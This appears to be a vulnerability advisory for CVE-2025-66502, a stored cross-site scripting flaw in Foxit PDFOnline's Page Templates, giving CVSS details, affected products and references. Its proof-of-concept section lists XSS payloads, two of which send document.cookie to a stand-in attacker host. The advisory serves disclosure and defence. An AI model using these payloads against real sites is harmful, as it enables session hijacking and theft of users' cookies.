CVE-2025-66502

Description

A stored cross-site scripting (XSS) vulnerability exists in pdfonline.foxit.com within the Page Templates feature. A crafted payload can be stored as the template name, which is later rendered into the DOM without proper sanitization. As a result, the injected script executes each time the affected PDF is loaded.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor_cloud:*:*:*:*:*:*:*:* - VULNERABLE

Foxit PDFOnline < 修复版本

pdfonline.foxit.com Page Templates功能所有已知版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-66502 Stored XSS PoC -->
<!-- Foxit PDFOnline Page Templates XSS -->

<!-- Step 1: Create a malicious template with XSS payload -->
<!-- Template Name Payload -->
<script>alert(document.cookie)</script>

<!-- Alternative payload variants: -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
<svg/onload=fetch('https://attacker.com/log?data='+btoa(document.cookie))>
<body onload="eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ=='))">

<!-- Step 2: Upload or share the PDF containing the malicious template -->
<!-- When victim opens the PDF, the XSS payload executes automatically -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66502
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66502
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66502/
[4] VulDB https://vuldb.com/cve/CVE-2025-66502
[5] https://www.foxit.com/support/security-bulletins.html

Raw JSON Data

JSON

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